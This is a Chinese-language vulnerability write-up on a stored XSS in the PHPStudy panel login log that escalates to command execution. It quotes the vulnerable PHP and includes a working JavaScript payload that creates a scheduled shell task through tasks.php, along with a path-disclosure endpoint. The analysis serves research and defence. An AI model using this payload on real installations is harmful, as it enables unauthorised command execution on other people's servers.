PHPStudy RCE 分析

4 min read

本质上是一个存储型 XSS 漏洞。通过 XSS 漏洞可以构造恶意 js 代码,在代码触发时自动发送添加 计划任务 的请求,从而实现 RCE

XSS

我们直接在用户名的地方填写我们的 xss 地址,点击登录即可

image-20230203224347376

然后我们通过正确的账号密码登录进去,发现恶意代码被正常解析了,PHPStudy 在展现 操作日志 时未进行任何过滤,所以我们可以执行任意 Javascript 代码

image-20230203224453498

漏洞代码

account.phg 主要用来获取用户登录状态,登录时调用 login 方法

// com\web\service\app\account.php
// 登录
if($type=='login'){
	$username = post('username');
	$pwd = post('password');
	$verifycode = post('verifycode');
	$res = Account::login($username,$pwd,$verifycode);
	xpexit(json_encode($res));
}

其中 post() 函数经过了 htmlspecialchars 处理

function post($field='',$default=''){
	if(!$field){
		return $_POST;	
	}

	if(!isset($_POST[$field])){
		return $default?$default:false;
	}
	if(is_string($_POST[$field])){
		return htmlspecialchars($_POST[$field]);
	}
	return $_POST[$field];
}

login() 方法中通过 Socket::request 处理了参数,Socket::request 调用了 8090 端口

// com\web\service\app\model\Account.php
// 登录
public static function login($username,$pwd,$verifycode){
    if($username==''){
        return array('code'=>1,'msg'=>'用户名不能为空');	
    }
    if($pwd == ''){
        return array('code'=>1,'msg'=>'密码不能为空');
    }
    if(!sessionStarted()){
        sessionStart();
    }
    if(!isset($_SESSION['code']) || strtolower($verifycode)!=strtolower($_SESSION['code'])){
        return array('code'=>1,'msg'=>'验证码不正确');
    }
    $request = json_encode(array('command'=>'login','data'=>array('username'=>$username,'pwd'=>$pwd)));
    $res = Socket::request($request);
    if(!$res){
        return array('code'=>1,'msg'=>'系统主服务故障,请尝试重启主服务');
    }
    $res = json_decode($res,true);
    if($res['result'] == -1){
        return array('code'=>300,'msg'=>$res['msg']);
    }
    if($res['result'] == 0){
        return array('code'=>1,'msg'=>$res['msg']);
    }

    //token校验
    $_SESSION['this_token'] = $res['token'];
    // $access_token = md5(time()).md5(rand(1,100));
    $access_token = $res['token'];
    $_SESSION['admin'] = array('uid'=>$res['ID'],'username'=>$res['ALIAS'],'access_token'=>$access_token);
    $res = array('code'=>0,'msg'=>'登录成功','data'=>array('access_token'=>$access_token),'agreement'=>$res['AGREEMENT']);
    return $res;
}
// com\web\service\app\lib\socket.php
public static function request($data){
    error_reporting(E_ALL);
    set_time_limit(0);
    $host = "127.0.0.1";
    $port = 8090;
    $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
    //接收套接流的最大超时时间2秒,后面是微秒单位超时时间,设置为零,表示不管它
    socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => 2000, "usec" => 0));
        //发送套接流的最大超时时间为6秒
    socket_set_option($socket, SOL_SOCKET, SO_SNDTIMEO, array("sec" => 6, "usec" => 0));
    
    $connection = @socket_connect($socket, $host, $port);
    if(!$connection){
        file_put_contents('socket.log', 'cannot connection '.$host.':'.$port.'  at '.date('Y-m-d H:i:s')."\r\n",8);
        return false;
    }
    $_data = json_decode($data,true);
    isset($_SESSION['this_token']) && $_data['token'] = $_SESSION['this_token'];
    $data = json_encode($_data);

    $data .= '^^^';
    socket_write($socket, $data,strlen($data));
    $res = '';
    while ($buff = socket_read($socket,1024)) {
        $encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
        if($encoding=='EUC-CN'){
            $buff = iconv('GBK', 'UTF-8', $buff);
        }

        $res .= $buff;
        if(substr($res,-3)=='^^^'){
            socket_close($socket);
            break;
        }
    }

    $res = rtrim($res,'^^^');
    if($res == 'ipdeny'){
        xpexit(json_encode(array('code'=>403,'msg'=>'该IP被禁止访问')));
    }

    //检验token
    if($_data['command'] != 'login'){
        $res_ = json_decode($res,true);
        if(isset($res_['result'])&&$res_['result']==-2){
            distorySession();
            xpexit(json_encode(array('code'=>1001,'msg'=>'您已经在其他地方登录过了,即将退出当前页面')));
        }
    }
    

    return $res;
}

Socket 类中我们看到 socket_write() 写入,然后通过 socket_read() 读取结果

socket_write($socket, $data,strlen($data));
$res = '';
while ($buff = socket_read($socket,1024)) {
    $encoding = mb_detect_encoding($buff, array("ASCII",'UTF-8',"GB2312","GBK",'BIG5'));
    if($encoding=='EUC-CN'){
        $buff = iconv('GBK', 'UTF-8', $buff);
    }

    $res .= $buff;
    if(substr($res,-3)=='^^^'){
        socket_close($socket);
        break;
    }
}

RCE

我们可以通过构造恶意 js 代码来发送新增 计划任务 的请求,从而来实现 RCE

image-20230203224555825

这里我们直接在网站根目录下创建一个 1.txt 文件,同时写入 test 内容,代码如下

var xhr = new XMLHttpRequest();
xhr.open("POST", "/service/app/tasks.php?type=save_shell", true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=UTF-8");
xhr.send("title=test&exec_cycle=5&week=1&day=3&hour=1&minute=1&shell=echo test > D:\\xp.cn\\www\wwwroot\\admin\\localhost_80\\1.txt");

关于网站的绝对路径,可以通过以下接口获取,请求头必须添加 X-Requested-With,否则接口会返回 404

/service/app/sites.php?type=site_list

image-20230203231047825

参考链接